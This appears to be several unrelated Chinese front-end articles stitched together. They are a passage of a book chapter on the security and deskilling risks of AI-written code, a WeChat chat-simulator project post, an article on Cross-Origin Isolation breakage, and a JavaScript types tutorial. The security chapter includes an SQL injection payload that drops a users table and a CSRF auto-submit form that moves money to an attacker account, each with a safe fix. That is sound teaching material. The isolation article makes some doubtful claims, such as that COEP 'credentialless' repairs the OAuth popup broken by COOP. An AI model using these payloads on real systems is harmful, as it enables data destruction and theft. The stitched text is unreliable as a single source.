import DOMPurify from 'dompurify'; // 需要安装dompurify

function Comment({ content }) {
  // 净化HTML内容
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

场景2:SQL注入

// AI生成的代码(有注入风险)
app.get('/api/users', async (req, res) => {
  const { name } = req.query;
  
  // 危险!字符串拼接
  const query = `SELECT * FROM users WHERE name = '${name}'`;
  const users = await db.query(query);
  
  res.json(users);
});

// 攻击者请求
// GET /api/users?name='; DROP TABLE users; --
// 结果:users表被删除!

安全版本

app.get('/api/users', async (req, res) => {
  const { name } = req.query;
  
  // 使用参数化查询
  const users = await db.query(
    'SELECT * FROM users WHERE name = ?',
    [name]  // 参数会被自动转义
  );
  
  res.json(users);
});

场景3:CSRF(跨站请求伪造)

// AI生成的代码(缺少CSRF保护)
app.post('/api/transfer', async (req, res) => {
  const { toAccount, amount } = req.body;
  
  // 危险!没有验证请求来源
  await transferMoney(req.session.userId, toAccount, amount);
  
  res.json({ success: true });
});

// 攻击者在恶意网站放置:
// <form action="https://bank.com/api/transfer" method="POST">
//   <input type="hidden" name="toAccount" value="attacker-account">
//   <input type="hidden" name="amount" value="10000">
// </form>
// <script>document.forms[0].submit();</script>

// 如果用户已登录银行网站,访问恶意网站时,请求会自动带上Cookie
// 结果:用户的钱被转走!

安全版本

// 1. 使用CSRF Token
app.use(csrf({ cookie: true }));

app.post('/api/transfer', async (req, res) => {
  const { toAccount, amount, _csrf } = req.body;
  
  // CSRF中间件会自动验证Token
  
  // 2. 双重验证: SameSite Cookie
  // 3. 重要操作需要二次确认(如短信验证码)
  await transferMoney(req.session.userId, toAccount, amount);
  
  res.json({ success: true });
});

4.3.2 为什么AI会生成不安全的代码?

1. 训练数据的污染

Stack Overflow、GitHub上的代码,很多都有安全问题。AI从这些数据中学习,自然继承了这些坏味道。

2. 功能优先的偏见

AI的训练目标主要是"生成能工作的代码",而非"生成安全的代码"。安全性往往是次要考虑。

3. 上下文局限

AI看不到完整的应用架构:

  • 不知道哪些数据来自用户输入(不可信)
  • 不知道哪些数据会输出到页面(需要转义)
  • 不知道哪些操作需要权限验证

4. 安全知识的缺失

AI对最新的安全漏洞和防护方案了解有限:

  • 不知道最新的XSS绕过技术
  • 不了解CSP(内容安全策略)
  • 不理解OAuth的最佳实践

4.3.3 安全防护体系

1. 输入验证(Input Validation)

import { z } from 'zod';

// 定义严格的输入模式
const UserSchema = z.object({
  username: z.string()
    .min(3, '用户名至少3个字符')
    .max(20, '用户名最多20个字符')
    .regex(/^[a-zA-Z0-9_]+$/, '用户名只能包含字母、数字和下划线'),
  email: z.string().email('请输入有效的邮箱地址'),
  age: z.number().int().min(0).max(150),
  bio: z.string().max(500).optional()
});

// 验证输入
app.post('/api/users', async (req, res) => {
  const result = UserSchema.safeParse(req.body);
  
  if (!result.success) {
    return res.status(400).json({
      error: '输入验证失败',
      details: result.error.errors
    });
  }
  
  // 使用验证后的数据
  const user = await createUser(result.data);
  res.json(user);
});

2. 输出编码(Output Encoding)

// React自动转义JSX中的内容(默认安全)
function SafeComponent({ userInput }) {
  return <div>{userInput}</div>; // 自动转义
}

// 只有在明确需要时才使用dangerouslySetInnerHTML
function UnsafeComponent({ htmlContent }) {
  // 必须净化HTML
  const cleanHtml = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

// URL编码
const userInput = '<script>alert(1)</script>';
const encoded = encodeURIComponent(userInput);
// 结果:%3Cscript%3Ealert(1)%3C%2Fscript%3E

3. 认证与授权

// 使用成熟的认证库
import { auth } from '@clerk/nextjs';

// API路由保护
export async function POST(req: Request) {
  const { userId } = auth();
  
  if (!userId) {
    return new Response('Unauthorized', { status: 401 });
  }
  
  // 检查权限
  const user = await getUser(userId);
  if (user.role !== 'admin') {
    return new Response('Forbidden', { status: 403 });
  }
  
  // 处理请求
}

4. 安全扫描自动化

# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      # 依赖漏洞扫描
      - name: Run npm audit
        run: npm audit --audit-level=high
      
      # 代码安全扫描
      - name: Run Semgrep
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/security-audit
            p/owasp-top-ten
            p/cwe-top-25
      
      # 密钥扫描
      - name: Run TruffleHog
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: main

4.3.4 安全审查清单

## AI代码安全审查清单

### 输入处理
- [ ] 所有用户输入是否经过验证?
- [ ] 是否使用Zod/Yup等库进行模式验证?
- [ ] 是否对输入长度进行限制?
- [ ] 是否防止NoSQL注入?
- [ ] 文件上传是否检查类型和大小?

### 输出处理
- [ ] 动态内容是否使用JSX/React的自动转义?
- [ ] 使用dangerouslySetInnerHTML是否有充分理由和净化?
- [ ] URL参数是否经过encodeURIComponent处理?
- [ ] JSON输出是否正确转义?

### 认证与授权
- [ ] 敏感操作是否验证用户身份?
- [ ] 权限检查是否正确实施?
- [ ] 是否防范CSRF攻击(Token验证)?
- [ ] Session管理是否安全(过期、刷新)?
- [ ] JWT是否正确签名和验证?

### 敏感数据
- [ ] API密钥是否存储在环境变量而非代码中?
- [ ] 密码是否使用bcrypt/argon2哈希?
- [ ] 是否避免在日志中记录敏感信息?
- [ ] 是否正确处理CORS配置?
- [ ] HTTPS是否强制使用?

### 依赖安全
- [ ] 是否定期运行npm audit?
- [ ] 是否及时更新有漏洞的依赖?
- [ ] 是否使用lock文件锁定版本?
- [ ] 是否审查新增依赖的安全性?

4.4 工程师能力退化风险

这是最隐蔽但影响最深远的风险:当AI替我们做了太多事情,我们是否正在失去某些核心能力?

4.4.1 "暗知识"问题

传统调试流程

1. 阅读代码,理解逻辑
2. 定位问题根源
3. 修复问题
4. 验证修复

AI代码调试流程

1. 阅读AI生成的代码(可能不理解)
2. 尝试理解AI的意图(猜测)
3. 理解为什么出错(更难)
4. 询问AI如何修复(依赖AI)
5. 验证修复(可能还是不理解)

当AI生成的代码出现问题时,如果开发者不理解代码的底层逻辑,调试将变得非常困难。

4.4.2 能力退化的表现

表现1:基础语法遗忘

场景:面试

面试官:"请手写一个防抖函数"

候选者(5年经验):"我平时都用AI写,记不住具体实现...
大概是用setTimeout和clearTimeout?"

结果:面试失败

真实案例:某大厂面试官反馈,2024年后面试者手写代码能力明显下降。

表现2:调试能力退化

场景:线上Bug

传统开发者:
1. 打开Chrome DevTools
2. 分析Network请求
3. 检查Console错误
4. 使用Performance分析性能
5. 定位到具体代码行
6. 修复问题

AI依赖者:
1. "AI,出错了,帮我看看"
2. 复制粘贴AI建议
3. 不工作,再问AI
4. 循环往复...

表现3:架构理解缺失

场景:技术方案评审

产品经理:"这个方案有什么技术风险?"

依赖AI的开发者:"我问问AI..."

无法独立思考:
- 不知道性能瓶颈可能在哪里
- 不清楚扩展性限制
- 无法评估技术债影响

表现4:创造性依赖

场景:解决新问题

传统思路:
1. 分析问题本质
2. 查阅相关资料
3. 设计解决方案
4. 验证可行性
5. 实施并优化

AI依赖思路:
1. "AI,这个问题怎么解决?"
2. 直接采用AI建议
3. 不工作,再问AI
4. 重复直到解决或放弃

4.4.3 真实案例分析

案例:某创业公司技术团队

背景:
- 10人前端团队
- 2023年初全面采用AI工具(Copilot + ChatGPT)
- 新功能开发速度提升50%

6个月后:
- Bug数量增加200%
- 线上故障频率上升300%
- 调试平均时间从2小时增加到6小时
- 最严重:当OpenAI API故障时,团队几乎无法工作

根因分析:
1. 过度依赖AI,基础能力下降
2. 不审查AI代码,直接提交
3. 不理解AI生成代码的逻辑
4. 丧失独立解决问题能力

结果:
- 项目延期3个月
- 2名核心工程师离职
- 公司被迫进行技术培训,回归基础

4.4.4 防范策略

策略1:基础能力训练

## 每周基础训练计划

周一:算法练习(LeetCode 1题,手写)
周二:CSS布局练习(不用框架)
周三:JavaScript原理(闭包、原型链、事件循环)
周四:系统设计与架构
周五:代码审查(审查AI生成代码,理解每行)

要求:
- 关闭AI辅助
- 手写代码
- 深入理解原理

策略2:AI作为教练,而非替代

✅ 正确的使用方式:
- "AI,解释这个算法的时间复杂度"
- "AI,这个设计模式有什么优缺点?"
- "AI,帮我 review 这段代码"

❌ 错误的使用方式:
- 直接复制AI代码,不看不理解
- "AI,写个功能",然后直接提交
- 遇到问题第一反应是问AI,而非自己思考

策略3:代码所有权原则

## 代码所有权原则

1. 理解原则
   - 提交代码前,必须完全理解每行代码的作用
   - 能够向他人解释代码逻辑
   - 能够回答关于代码的任何问题

2. 审查原则
   - AI生成的代码必须经过人工审查
   - 安全、性能、可访问性检查不能省略
   - Code Review时重点关注AI生成部分

3. 核心代码人工编写
   - 核心算法必须手写
   - 安全相关代码必须手写
   - 架构设计必须人工主导

策略4:渐进式依赖

AI使用成熟度模型:

Level 1: 辅助(Assisted)
├─ AI帮助代码补全
├─ AI帮助文档生成
└─ 核心逻辑人工编写

Level 2: 增强(Augmented)
├─ AI生成工具函数
├─ AI帮助重构
└─ 人工审查和修改

Level 3: 协作(Collaborative)
├─ AI生成非核心功能
├─ 人工指导方向
└─ 人机共同完成

Level 4: 自主(Autonomous)- 谨慎采用
├─ AI自动生成大部分代码
├─ 人工主要审查
└─ 适用于探索性项目,不适用于生产

建议:保持在Level 2-3,不要轻易进入Level 4

4.5 小结:在拥抱与审慎之间

AI生成代码的问题不是"要不要用",而是"如何安全地用"。本章讨论的风险不是为了吓唬读者,而是为了建立正确的使用预期。

核心原则

  1. AI是放大器,不是替代者

    • AI放大的是人类的判断力和创造力
    • AI不能替代人类的思考和决策
  2. AI负责"从0到70%",人类负责"70到100%"

    • AI可以快速生成骨架
    • 但质量把关、边缘情况、优化完善必须人工完成
  3. AI生成的代码必须经过人工审查才能进入生产环境

    • 建立严格的质量门禁
    • 可访问性、性能、安全缺一不可
  4. 建立AI使用规范和风险清单,制度化地管理风险

    • 明确哪些可以用AI,哪些必须手写
    • 建立审查流程和检查清单
    • 持续监控和优化

记住

优秀的工程师不会被AI替代,但拒绝学习AI的工程师可能会被使用AI的工程师替代。

同样:

盲目依赖AI的工程师可能会被保持独立思考的工程师超越。

在拥抱与审慎之间找到平衡,这才是AI时代的生存之道。


下章预告

第五章《角色的重构——AI时代前端工程师的核心竞争力》将探讨:

  • 能力模型的根本性转变
  • 从"创造者"到"策展人"的角色转变
  • 人机协作的新模式:70/30法则
  • 不可替代的人类价值
  • 新能力培养的路线图

我做了个微信聊天模拟器,已开源

消失了两天,最近做了一个小项目。

起因是在网上看到一个微信聊天的模拟器,对于一些自媒体小编来说还是挺有实际意义的。

image.png

但是那个项目我个人感觉做的不是太好,而且微信经过这么多代的版本,和当初的样式已经有了较大差距。

所以我打算基于现在新版本的微信做个微信聊天的模拟器。

当前项目已经开源,但是还没部署到服务器上,所以暂时先放一下开源地址:

gitee.com/maple2133/v…

这里先打个"保护":

声明

  1. 版权归属:本项目中涉及的微信相关名称、图标、界面样式等所有相关知识产权,均归属腾讯公司及相关原作者所有,本项目不享有任何相关版权。
  2. 使用用途:本项目仅用于交流学习,旨在为开发者提供技术研究、功能调试的参考,不用于任何商业用途、盈利活动,不替代微信官方产品。
  3. 责任说明:使用者使用本项目产生的一切行为,均由使用者自行负责。若使用者因违规使用、滥用本项目,或利用本项目侵犯他人合法权益(含版权、隐私等),相关法律责任、赔偿责任均由使用者独立承担,与本项目作者无关。

技术架构

项目上了 Vite v8+,既然有新的我觉得还是上新的,跟上潮流嘛!

image.png

另外就是 Vue3 + Ts 的框架,UI用的是 Element-plus

还有就是 PiniaVueRouter,截图这里我没用 html2Canvas,而是用的 snapdom

个人觉得 snapdom 还是挺好用的,当然目前还没体会到速度的区别。

具体实现

页面分为左右两个部分,模拟两个手机窗口。

当前 v0.0.1 版本仅支持 文本消息语音消息时间消息,后期会逐渐更新其他消息格式,请大家持续关注这个项目,如果能点个 Start⭐ 那就非常感谢了。

手机部分进行了单独的封装:

<template>
    <div class="phone-container">
        <div class="phone-content">
            <div class="phone">
                <div class="phone-head">
                    <div class="phone-time">{{ setForm.hour }}:{{ setForm.minute }}</div>
                    <div class="phone-sigle" :class="phoneSigleClass"></div>
                    <div class="phone-wifi" :class="wifiClass"></div>
                    <div class="phone-battery">
                        <div class="battery-level" :style="{ width: setForm.batteryLevel + '%' }"></div>
                    </div>
                </div>
                <div class="phone-nav">
                    <div class="nav-left">
                        <div class="nav-back">返回</div>
                        <div class="unread-num">{{ setForm.msgCount }}</div>
                    </div>
                    <div class="nav-center">
                        <div class="chat-name">
                            {{ props.position === 'left' ? setForm.dialogTitle1 : setForm.dialogTitle2 }}
                        </div>
                    </div>
                    <div class="nav-right">
                        <div class="nav-more"></div>
                    </div>
                </div>

                <PhoneBody :position="props.position" :msgList="props.msgList" />

                <div class="phone-bottom">
                    <div class="bottom-chat">
                        <div class="chat-voice"></div>
                        <div class="chat-input"></div>
                        <div class="chat-emoji"></div>
                        <div class="chat-more"></div>
                    </div>
                    <div class="bottom-bar">
                        <span class="bar"></span>
                    </div>
                </div>
            </div>
        </div>
    </div>
</template>

<script setup lang="ts">
import { ref, computed } from 'vue'
import PhoneBody from './PhoneBody.vue'
import { useSetStore } from '@/store/useSetStore'

const setStore = useSetStore()

const setForm = ref(setStore.form);

const props = defineProps({
    position: {
        typeString,
        default'left'
    },
    msgList: {
        typeArray,
        default() => []
    }
})

const phoneSigleClass = computed(() => {
    return 'phone-sigle-v' + setForm.value.mobileSignal
})

const wifiClass = computed(() => {
    return 'phone-wifi-s' + setForm.value.wifiSignal
})
</script>

这里因为手机上的设置是能进行更改的,所以将参数存在了 Pinia 中,方便全局调用。

image.png

而消息部分以消息类型进行划分,每种消息类型单独切割成组件。

<template>
    <div class="phone-body" ref="chatBoxRef">
        <div class="msg-content">
            <component v-for="item in messageList" :key="item.id" :is="item.component" :msgInfo="item" :position="props.position" />
        </div>
    </div>
</template>

<script setup lang="ts">
import { computed, onMounted, ref } from 'vue'
import MsgText from './MsgText.vue'
import MsgVoice from './MsgVoice.vue'
import MsgTime from './MsgTime.vue'

const components = [
    {
        msgType'text',
        componentMsgText
    },
    {
        msgType'voice',
        componentMsgVoice
    },
    {
        msgType'time',
        componentMsgTime
    }
]

const props = defineProps({
    position: {
        typeString,
        default() => 'left'
    },
    msgList: {
        typeArray,
        default() => []
    }
})

const chatBoxRef = ref<HTMLElement>()

const messageList = computed(() => {
    const list = props.msgList.map((item: any) => {
        return {
            ...item,
            // 根据消息类型确定使用哪种组件
            component: components.find((component: any) => component.msgType === item.msgType)?.component || MsgText
        }
    })
    return list
})

onMounted(() => {
    // 监听消息列表变化,滚动到底部
    const chatBox = chatBoxRef.value as HTMLElement;
    const scrollToBottom = () => {
        if (chatBox) {
            chatBox.scrollTop = chatBox.scrollHeight
        }
    }
    const observer = new MutationObserver(scrollToBottom);
    observer.observe(chatBox, {
        childListtrue,
        subtreetrue
    });
})
</script>

总结

其实这个项目技术上来说不复杂,最困难的地方其实是怎样100%复刻微信的UI样式,还有iPhone的头等等样式。

后面会继续维护这个项目,大家可以关注一波,如果能够点个Start⭐那就最为感谢了!

gitee.com/maple2133/v…

开启 Cross-Origin Isolation 后,我的网站"社会性死亡"了

最近在折腾 AudioWorklet + SharedArrayBuffer 的极致优化,被迫卷入了浏览器最底层的 Spectre 漏洞防御机制。MDN 说开启 COOP/COEP 是"最佳实践",Chrome 控制台也在疯狂警告——不开就用不了 SharedArrayBuffer。于是我就开了。

然后网站炸了。

OAuth 登录白屏。Google Analytics 静默死亡。CDN 图片全黑屏。不是 Bug,是隔离的物理代价。

如果你也在折腾 Next.js 性能优化或者 SharedArrayBuffer,这篇避坑指南可能会帮你省下 3 天的排查时间。


0. 动机

我在做 AudioWorklet + SharedArrayBuffer 的无锁通信。SAB 是唯一能让主线程和音频线程共享内存的原生方案——没有它,每帧都要 postMessage 序列化,延迟直接翻倍。

但 SAB 有个前提:浏览器要求页面必须开启 Cross-Origin Isolation。也就是在响应头里加上:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

MDN 说这是"最佳实践"。Chrome 的控制台也在疯狂警告你不开就用不了 SAB。于是我就开了。

然后网站炸了。

1. 社会性死亡现场

1.1 OAuth 登录阵亡

GitHub OAuth 弹窗登录,点完授权,回调页面白屏。window.openernull

原因很简单:COOP: same-origin 会切断跨域窗口之间的引用。你的 OAuth 弹窗和主页面不同源,window.opener 直接被浏览器置空。授权码拿不回来,登录流程断裂。

这不是 Bug,是隔离的物理代价。

1.2 第三方 SDK 变僵尸

Google Analytics 不报数据了。Sentry 不捕获错误了。不是它们挂了,是 COEP: require-corp 把所有不带 Cross-Origin-Resource-Policy 响应头的跨域资源全部拦截了。

你的页面加载了 analytics.google.com/ga.js,这个脚本没有 CORP 头,浏览器直接拒绝执行。GA 就这样无声无息地死了——没有错误,没有降级,就是静默失败。

1.3 媒体黑屏

CDN 上的图片全变黑块。<img src="https://cdn.example.com/photo.jpg"> 加载不出来。原因同上:CDN 的图片响应没有 Cross-Origin-Resource-Policy 头,被 COEP 一刀切了。

你能控制自己的 Nginx,但你控制不了别人的 CDN。这就是隔离最毒的地方:它的限制是全局的,不区分"你的资源"和"你引用的资源"。

2. 为什么会这样

这一切的根源是 Spectre

2018 年的 Spectre 漏洞证明了:恶意 JavaScript 可以通过侧信道攻击读取同一进程内其他域名的内存。为了防御,Chrome 实施了 Cross-Origin Isolation——用进程级隔离确保不同源的资源不会出现在同一渲染进程里。

代价是:所有跨域资源都必须显式声明"我允许被嵌入"。不声明的,一律拦截。这就是 COEP 的逻辑。

而 COOP 切断 window.opener,是为了防止跨域窗口通过 window.opener 访问原始页面的 DOM。这是同源策略在隔离模式下的强化版。

3. 基础修复

3.1 自己的资源:Nginx 配置

对于你能控制的资源,在 Nginx 里加上 CORP 头:

add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;

这样你自己的图片、脚本、样式就不会被 COEP 拦截。

3.2 OAuth 回调:Credentialless 模式

Chrome 96+ 支持 Cross-Origin-Embedder-Policy: credentialless。这个模式允许不带凭证加载跨域资源,同时保留 COEP 的隔离语义。OAuth 弹窗在这个模式下可以正常回调。

# 替换 require-corp 为 credentialless
add_header Cross-Origin-Embedder-Policy "credentialless" always;

3.3 第三方 SDK:CSP 白名单

对于 GA、Sentry 这类必须执行的跨域脚本,可以用 crossorigin 属性显式声明:

<script src="https://analytics.google.com/ga.js" crossorigin></script>

但这只是声明意图,最终能不能加载还是取决于对方服务器的 CORS 配置。如果对方不支持 CORS,你只能走 Service Worker。

4. Service Worker:给第三方资源"办签证"

这是我找到的最可靠的方案。

原理:Service Worker 可以拦截页面发出的所有请求,包括跨域的。在 SW 里,你可以给任何响应补上缺失的 COEP/CORP 头——相当于在客户端侧给第三方资源"补办签证"。

// service-worker.js
self.addEventListener('fetch', (event) => {
  event.respondWith(
    fetch(event.request).then((response) => {
      // 只给缺少 CORP 头的跨域响应补头
      if (!response.headers.has('Cross-Origin-Resource-Policy')) {
        const newHeaders = new Headers(response.headers)
        newHeaders.set('Cross-Origin-Resource-Policy', 'cross-origin')
        return new Response(response.body, {
          status: response.status,
          statusText: response.statusText,
          headers: newHeaders,
        })
      }
      return response
    })
  )
})

这样,即使第三方 CDN 不支持 CORP,你的 Service Worker 也能在客户端侧把缺失的头补上。页面正常加载,SAB 正常工作,隔离也保持完整。

注意:这个方案只适用于公开资源(图片、公开 JS)。涉及凭证的 OAuth 流程,还是得走 Credentialless 模式。

5. 交互式沙盒

我做了一个基于真实状态机的可交互式跨域隔离沙盒——你可以亲手拨动开关,看 COOP/COEP 一刀切下去,网站是怎么死的,又是怎么被抢救回来的。

由于社区平台限制,无法演示动态拦截效果。欢迎来我的独立博客亲自体验:

👉 交互式跨域隔离沙盒 — diffserv.xyz

6. 完整的隔离策略

把以上方案组合起来,一份生产级配置:

# Nginx:开启隔离
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "credentialless" always;
// Service Worker:给公开资源补 CORP 头
// (见上方代码)
<!-- 页面中:显式声明 crossorigin -->
<script src="https://cdn.example.com/lib.js" crossorigin></script>
<img src="https://cdn.example.com/photo.jpg" crossorigin />

COOP: same-origin 隔离窗口引用。COEP: credentialless 允许 OAuth 回调。Service Worker 补齐第三方资源的 CORP 头。三层配合,隔离生效,功能不残。

7. 底线

Cross-Origin Isolation 不是可选项——如果你要用 SharedArrayBuffer,它就是强制的。但隔离的代价是真实的:OAuth 会断、SDK 会死、图片会黑屏。

这些不是 Bug,是浏览器在 Spectre 时代筑起的柏林墙。你推不倒它,但你可以学会在墙这边过日子。

Service Worker 办签证、Credentialless 留后路、Nginx 配自己的地盘。三条路走通,隔离世界就能活。


在线实验:STW Sentinel Lab

NPM:npm i stw-sentinel

GitHub:hlng2002/stw-sentinel

前端JavaScript:数据类型、实例对象 、内置对象、构造函数之间的关系

在JavaScript开发中,数据类型、实例对象、内置对象、构造函数是四个高频出现且紧密关联的核心概念。很多前端开发者在入门或进阶过程中,容易混淆它们之间的关系——比如分不清“内置对象和构造函数的区别”,不知道“实例对象从何而来”,甚至把“数据类型”和“对象”直接画上等号。本文将从基础概念出发,用通俗的语言+实战代码,层层拆解四者的关联,帮你彻底理清逻辑,夯实JavaScript基础。

一、先明确四个核心概念

在讲关系之前,我们先单独搞懂每个概念的本质,避免因概念模糊导致理解偏差。重点记住:四者的核心关联是“构造函数生成实例对象,实例对象属于特定数据类型,内置对象是JavaScript自带的‘模板/工具集’”

1. 数据类型:JavaScript中“值的分类”

数据类型是JavaScript对“值”的分类,本质是描述“一个值是什么类型、能做什么”。根据ES6标准,JavaScript有7种基本数据类型和1种引用数据类型,共8种:

  • 基本数据类型(primitive type):StringNumberBooleanUndefinedNullSymbolBigInt(不可变、存储在栈中,直接访问值);
  • 引用数据类型(reference type):Object(可变、存储在堆中,访问的是内存地址),而数组(Array)、日期(Date)、正则(RegExp)等都属于Object的“子类型”。

注意:很多人会说“数组是一种数据类型”,其实不准确——数组是“引用数据类型(Object)下的一个具体类别”,本质是Object的实例。数据类型是“顶层分类”,而数组、对象、函数等是“引用类型下的细分”。

2. 构造函数:生成实例对象的“模板/工厂”

构造函数的本质是“一个普通的函数”,但有两个特殊点:① 命名规范通常首字母大写(区分普通函数);② 必须用new关键字调用,目的是“生成实例对象”。

构造函数的核心作用:定义实例对象的“结构和方法”,相当于给实例对象设定“模板”——比如用构造函数定义“人”的模板(有姓名、年龄属性,有说话方法),每次new调用,就生成一个具体的“人”的实例。

示例(自定义构造函数):

// 构造函数(模板:定义“人”的结构)
function Person(name, age) {
  this.name = name; // 实例属性
  this.age = age;
  this.sayHi = function() { // 实例方法
    console.log(`你好,我是${this.name}`);
  };
}

// new调用构造函数,生成实例对象
const person1 = new Person("张三", 20);
const person2 = new Person("李四", 22);

这里的Person就是构造函数,person1、person2是它生成的两个不同实例对象。

3. 实例对象:构造函数的“具体产物”

实例对象(简称“实例”)是通过“new + 构造函数”创建的具体对象,它继承了构造函数定义的所有属性和方法。每个实例都是独立的,拥有自己的属性值,但共享构造函数的方法(优化后可共享,后文会提)。

简单理解:构造函数是“图纸”,实例对象是根据图纸造出来的“具体产品”——图纸(Person)不变,但造出来的产品(person1、person2)可以有不同的属性(姓名、年龄不同)。

补充:基本数据类型也有“包装实例”——JavaScript在使用基本数据类型的方法时(比如字符串的slice方法),会临时将其包装成对应的实例对象,用完后自动销毁。示例:

const str = "hello"; // 基本数据类型(String)
const result = str.slice(0, 3); // 临时包装成String实例,调用slice方法
console.log(str); // 还是基本数据类型,没有被改变

4. 内置对象:JavaScript自带的“现成工具/模板”

内置对象是JavaScript引擎自带的对象,不需要我们手动定义,可直接使用。它们分为两类:

  • 内置构造函数:可通过new调用生成实例对象,比如StringNumberArrayDateRegExpObject等;
  • 非构造函数型内置对象:不能用new调用,直接使用其属性和方法,比如Math(数学工具)、JSON(数据解析)等。

内置对象的核心作用:帮我们节省开发成本——比如不需要自己写“数组排序方法”,直接用Array.prototype.sort();不需要自己写“日期格式化”,直接用Date对象的方法。

二、四者的核心关联(图文逻辑+代码验证)

搞懂了单个概念,我们用“从模板到产物”的逻辑,梳理四者的关联,核心链路:内置对象(内置构造函数)/自定义构造函数 → new调用 → 实例对象 → 实例对象属于特定数据类型

1. 关联一:构造函数(内置/自定义)→ 实例对象(核心关系)

这是最基础、最核心的关联:实例对象必须通过构造函数生成,没有构造函数,就没有实例对象。无论是JavaScript自带的内置构造函数,还是我们自己写的自定义构造函数,都遵循这个规则。

分两种场景理解:

场景1:内置构造函数 → 内置实例对象

JavaScript的内置构造函数(属于内置对象),是我们生成常用实例对象的“现成模板”:

// 1. Array(内置构造函数)→ 数组实例(引用数据类型)
const arr = new Array(1, 2, 3); // arr是Array的实例对象,数据类型是Object(引用类型)
console.log(arr instanceof Array); // true(验证:arr是Array的实例)

// 2. Date(内置构造函数)→ 日期实例
const now = new Date(); // now是Date的实例对象,数据类型是Object
console.log(now instanceof Date); // true

// 3. String(内置构造函数)→ 字符串实例(包装对象)
const strObj = new String("hello"); // strObj是String的实例,数据类型是Object
const str = "hello"; // 基本数据类型(String),非实例对象

场景2:自定义构造函数 → 自定义实例对象

我们自己写的构造函数,生成的是符合我们需求的自定义实例对象,本质和内置构造函数生成实例的逻辑一致:

// 自定义构造函数(模板)
function Car(brand, price) {
  this.brand = brand;
  this.price = price;
  this.run = function() {
    console.log(`${this.brand}在行驶`);
  };
}

// 生成自定义实例对象
const bmw = new Car("宝马", 300000);
const benz = new Car("奔驰", 400000);

console.log(bmw instanceof Car); // true(bmw是Car的实例)
console.log(benz instanceof Car); // true

2. 关联二:实例对象 → 数据类型(归属关系)

每个实例对象,都属于某一种数据类型——所有实例对象(无论是内置的还是自定义的),本质上都是“引用数据类型(Object)”,但可以细分到更具体的类别(比如ArrayDate、自定义类型)。

这里要区分两个判断维度(避免混淆):

  • typeof判断:所有实例对象的typeof结果都是“object”(因为它们都是引用类型);
  • instanceof判断:可以判断实例对象属于哪个具体的构造函数(比如arr instanceof Array → truebmw instanceof Car → true);
  • Object.prototype.toString.call()判断:可以准确判断实例对象的具体内置类型(比如判断数组、日期),但无法区分自定义实例(比如判断bmw,结果是“[object Object]”)。

代码验证:

const arr = new Array(1, 2, 3);
const now = new Date();
const bmw = new Car("宝马", 300000);

// typeof判断(只能区分基础类型和引用类型)
console.log(typeof arr); // "object"
console.log(typeof now); // "object"
console.log(typeof bmw); // "object"

// instanceof判断(区分具体构造函数)
console.log(arr instanceof Array); // true
console.log(now instanceof Date); // true
console.log(bmw instanceof Car); // true

// Object.prototype.toString.call()判断(准确判断内置类型,无法区分自定义)
console.log(Object.prototype.toString.call(arr)); // "[object Array]"
console.log(Object.prototype.toString.call(now)); // "[object Date]"
console.log(Object.prototype.toString.call(bmw)); // "[object Object]"

3. 关联三:内置对象 → 构造函数(包含关系)

内置对象包含“内置构造函数”和“非构造函数型内置对象”,也就是说:内置构造函数是内置对象的一部分

举个例子:

  • 内置对象Math:非构造函数型,不能用new调用,直接使用(Math.random()Math.max());
  • 内置对象Array:内置构造函数,可以用new调用生成数组实例(new Array());
  • 内置对象Object:内置构造函数,是所有引用类型的“顶层构造函数”——所有实例对象(包括ArrayDate、自定义实例)都继承自Object.prototype

补充:所有构造函数(内置、自定义)的原型对象,都继承自Object.prototype,这也是为什么所有实例对象都能使用toString()valueOf()等方法(这些方法定义在Object.prototype上)。

4. 关联四:数据类型与构造函数(对应关系)

基本数据类型和内置构造函数有一一对应的关系,引用数据类型则对应其具体的构造函数(内置或自定义):

数据类型 对应构造函数 示例
基本数据类型 - String String(内置构造函数) new String("hello")(包装实例)
基本数据类型 - Number Number(内置构造函数) new Number(123)(包装实例)
引用数据类型 - 数组 Array(内置构造函数) new Array(1,2,3)(数组实例)
引用数据类型 - 日期 Date(内置构造函数) new Date()(日期实例)
引用数据类型 - 自定义类型 自定义构造函数(如Person、Car) new Person("张三", 20)(自定义实例)

三、常见误区(避坑重点)

很多开发者混淆四者关系,本质是陷入了以下误区,结合代码逐一纠正:

误区1:把“基本数据类型”和“实例对象”混淆

错误认知:“const str = 'hello' 是String的实例对象”;

正确认知:str是基本数据类型(String),不是实例对象;只有用new String("hello")生成的才是String的实例对象(包装对象)。

验证:

const str1 = "hello";
const str2 = new String("hello");

console.log(str1 instanceof String); // false(不是实例)
console.log(str2 instanceof String); // true(是实例)
console.log(typeof str1); // "string"(基本类型)
console.log(typeof str2); // "object"(引用类型,实例对象)

误区2:认为“内置对象就是构造函数”

错误认知:“Math是构造函数,可以用new Math()生成实例”;

正确认知:内置对象分为“构造函数型”和“非构造函数型”,Math是非构造函数型内置对象,不能用new调用,直接使用其属性和方法。

验证:

const mathObj = new Math(); // 报错:Math is not a constructor
console.log(Math.random()); // 正确:直接使用Math的方法

误区3:用typeof判断实例对象的具体类型

错误认知:“typeof arr === 'array' 可以判断数组”;

正确认知:typeof只能区分基础类型和引用类型,判断实例对象的具体类型,要用instanceofObject.prototype.toString.call()

验证:

const arr = [1, 2, 3];
console.log(typeof arr); // "object"(无法区分是数组还是普通对象)
console.log(arr instanceof Array); // true(正确判断数组)
console.log(Object.prototype.toString.call(arr)); // "[object Array]"(准确判断)

四、总结(一句话理清所有关系)

JavaScript中,数据类型是值的顶层分类(基础+引用)内置对象是JS自带的工具集(包含内置构造函数)构造函数(内置/自定义)是生成实例对象的模板实例对象是构造函数的具体产物,属于引用数据类型,继承构造函数的属性和方法

